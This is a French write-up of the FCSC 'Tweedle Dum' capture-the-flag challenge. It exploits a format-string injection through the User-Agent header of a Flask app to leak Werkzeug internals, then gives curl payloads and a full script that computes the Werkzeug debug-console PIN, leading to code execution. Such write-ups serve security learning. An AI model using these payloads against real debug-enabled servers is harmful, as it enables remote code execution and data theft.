Tweedle Dum

Au cours de ses aventures au Pays des merveilles,
Alice a rencontré une curieuse paire de jumeaux : Tweedledee et Tweedledum.
Les deux avaient créé un site web simpliste en utilisant Flask,
une réalisation qui a suscité l'intérêt d'Alice.
Avec son esprit curieux et son penchant pour la technologie,
Alice ne pouvait s'empĂŞcher de se demander
si elle pouvait pirater leur création et en découvrir les secrets.

Note : Tweedle Dum est la version "facile" du challenge,
regardez Tweedle Dee pour la version "difficile".

https://tweedle-dum.france-cybersecurity-challenge.fr/

SHA256(tweedle-dum-public.tar.gz) =
fc9c858fa98401db631b27876e17acf2a9cb25627887cd5d849af6a746a4c646.

Analyse

Le challenge nous offre une archive dans laquelle on connait les versions de Flask ainsi que le code source de l’application.

app.py:

from flask import Flask, request, render_template
from werkzeug.middleware.proxy_fix import ProxyFix
from werkzeug.debug import DebuggedApplication

# No bruteforce needed, this is just here so you don't lock yourself or others out by accident
DebuggedApplication._fail_pin_auth = lambda self: None

app = Flask(__name__)

app.wsgi_app = ProxyFix(app.wsgi_app, x_for=1)


@app.route("/")
def hello_agent():
    ua = request.user_agent
    return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))


# TODO: add the vulnerable code here

Dockerfile:

FROM python:3.10-alpine
SHELL ["/bin/ash", "-eo", "pipefail", "-c"]
ARG FLAG=FCSC{ThisIsTheFl4g}
WORKDIR /app
COPY ./src/app.py /app/app.py
COPY ./src/templates /app/templates
COPY ./src/static /app/static
RUN pip install --no-cache-dir      \
        werkzeug==2.2.3             \
        flask==2.2.3             && \
    echo $FLAG > "/app/flag-$(head /dev/urandom | md5sum | head -c 32).txt"
USER guest
CMD ["flask", "run", "--host=0.0.0.0", "--port=2202", "--debug"]

Si l’on regarde bien le code source de l’application, on remarque une format string Ă©trange f"Hello {ua}".format(ua=ua).

Le contenu de la variable ua qui correspond Ă  notre header User-Agent est extrapolĂ© afin d’ĂŞtre utilisĂ© dans la fonction format.

Ensuite, la seule variable qui pourra ĂŞtre accessible Ă  l’intĂ©rieur de notre string est ua.

Regardons ça de manière dynamique.

Analyse dynamique

La meilleure manière de debugger l’application est en utilisant la console werkzeug pour se retrouver dans le mĂŞme contexte.

Pour cela, on lance une requĂŞte que l’on capte dans Burpsuite et on change notre User-Agent par une valeur qui pourra faire planter l’application (ex: {7*7}).

Debug Debug de l’application via la console werkzeug.

Maintenant, il faut savoir quoi chercher.

Arbitrary Read

On peut essayer de lire un fichier dans un premier temps.

"{open('/etc/passwd').read()}".format(ua=ua)
Traceback (most recent call last):

    File "<debugger>", line 1, in <module>

    KeyError: "open('/etc/passwd')"

Impossible, on s’aperçoit assez vite qu’il n’est pas possible d’exĂ©cuter des fonctions. On ne peut donc pas exĂ©cuter de code.

Il va falloir trouver un autre moyen de réaliser notre RCE.

/console

Depuis la console, on sait que l’on peut exĂ©cuter n’importe quel code python. Pour accĂ©der Ă  la console, il nous faut un PIN.

Ce PIN est généré avec plusieurs valeurs. Ce repo https://github.com/wdahlenburg/werkzeug-debug-console-bypass explique très bien les différentes parties et variables.

Après une petite lecture du code, on sait qu’il nous faut les valeurs suivantes :

public = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None)
]

private = [
    str(uuid.getnode()),
    machine_id
]

Grâce au Dockerfile, on a toutes les valeurs publiques.

public values Valeur publique trouvée depuis la console.

public = [
    "guest",
    "flask.app"",
    "Flask",
    "/usr/local/lib/python3.10/site-packages/flask/app.py"
]

Pour ce qui est du modname, j’ai guess que la configuration Ă©tait par dĂ©faut et que la valeur ne changeait pas.

Il ne nous reste plus qu’Ă  trouver les valeurs privĂ©es.

Searching

Il faut savoir qu’au moment de mes recherches, le premier code source donnĂ©e ressemblait Ă  cela :

from flask import Flask, request, render_template

app = Flask(__name__)

@app.route("/")
def hello_agent():
    ua = request.user_agent
    return render_template("index.html", msg=f"Hello {ua}".format(ua=ua))


# TODO: add the vulnerable code here

C’est-Ă -dire que l’objet, tant convoitĂ© DebuggedApplication qui permet d’accĂ©der Ă  ces variables, n’exitait pas.

Toujours bien faire attention aux messages d’annonces durant les CTF, cela vous fera gagner du temps.

DONC, une fois le bon code en main, ce que l’on peut faire, c’est essayer de retrouver tous les modules importĂ©s afin de rĂ©cupĂ©rer un accès Ă  la class DebuggedApplication et uuid qui contiennent respectivement les variables _machine_id et _uuid.

DebuggedApplication: https://github.com/pallets/werkzeug/blob/6c11c11ca94ab57e918971435ceda875dc5cae57/src/werkzeug/debug/__init__.py#L45

uuid: https://github.com/python/cpython/blob/main/Lib/uuid.py#L648

sys.modules

Avant d’accĂ©der Ă  cette variable, j’ai d’abord essayĂ© de trouver un moyen de rĂ©cupĂ©rer tous les modules.

Heureusement, la class User-Agent import typing qui import sys.

>>> ua.__init__.__globals__["t"]
<module 'typing' from '/usr/local/lib/python3.10/typing.py'>
>>> ua.__init__.__globals__["t"].sys
<module 'sys' (built-in)>

On peut désormais récupérer nos deux modules et aller chercher nos variables.

>>> ua.__init__.__globals__["t"].sys.modules["werkzeug.debug"]._machine_id
b'c31c44bd-046b-4290-b353-27e7849a0344'
>>> ua.__init__.__globals__["t"].sys.modules["uuid"]._node
2485377957890

Instant tips, utiliser .__dict__ vous permet de voir tous les modules et variables que vous pouvez appeler pour un objet.

ex:

>>> ua.__dict__
{'string': '{7}'}

Compute PIN

On récupère les valeurs privées en remote et on passe à la génération du PIN.

❯ curl "https://tweedle-dum.france-cybersecurity-challenge.fr/" -H "User-Agent: {ua.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}"
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Tweedle Dum</title>
    <link rel="stylesheet" href="/static/style.css" />
  </head>
  <body>
    <main>
      <div id="bubble">Hello b&#39;88d42cb0-1359-4a98-baa1-d87f21a19de3&#39;</div>
    </main>
    <!-- <a href="/console">Werkzeug console</a> -->
  </body>
</html>

❯ curl "https://tweedle-dum.france-cybersecurity-challenge.fr/" -H "User-Agent: {ua.__init__.__globals__["t"].sys.modules["uuid"]._node}"
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Tweedle Dum</title>
    <link rel="stylesheet" href="/static/style.css" />
  </head>
  <body>
    <main>
      <div id="bubble">Hello 2485378221058</div>
    </main>
    <!-- <a href="/console">Werkzeug console</a> -->
  </body>
</html>

Code de génération du code PIN :

#!/bin/python3
import hashlib
from itertools import chain

probably_public_bits = [
    "guest", # username
    "flask.app", # modname ?
    "Flask", # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    "/usr/local/lib/python3.10/site-packages/flask/app.py" # path of flask
]

private_bits = [
    # _node
    # curl https://tweedle-dum.france-cybersecurity-challenge.fr/ -H "User-Agent: {ua.__init__.__globals__[t].sys.modules[uuid]._node}"
    "2485378221058"
    # _machine_id
    # curl https://tweedle-dum.france-cybersecurity-challenge.fr/ -H "User-Agent: {ua.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}"
    "88d42cb0-1359-4a98-baa1-d87f21a19de3",
]

h = hashlib.sha1() # Newer versions of Werkzeug use SHA1 instead of MD5
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print("Pin: " + rv)

output:

❯ python3 generate_pin_code.py
Pin: 415-333-840

Flag

Après avoir envoyé le code PIN, on peut exécuter du code python afin de récupérer le flag.

flag Récupération du flag depuis la console werkzeug.

flag: FCSC{9430d095589535ddf50fd070a9baad98a7203fd4cdd029b8ffc5c6ebb512f934}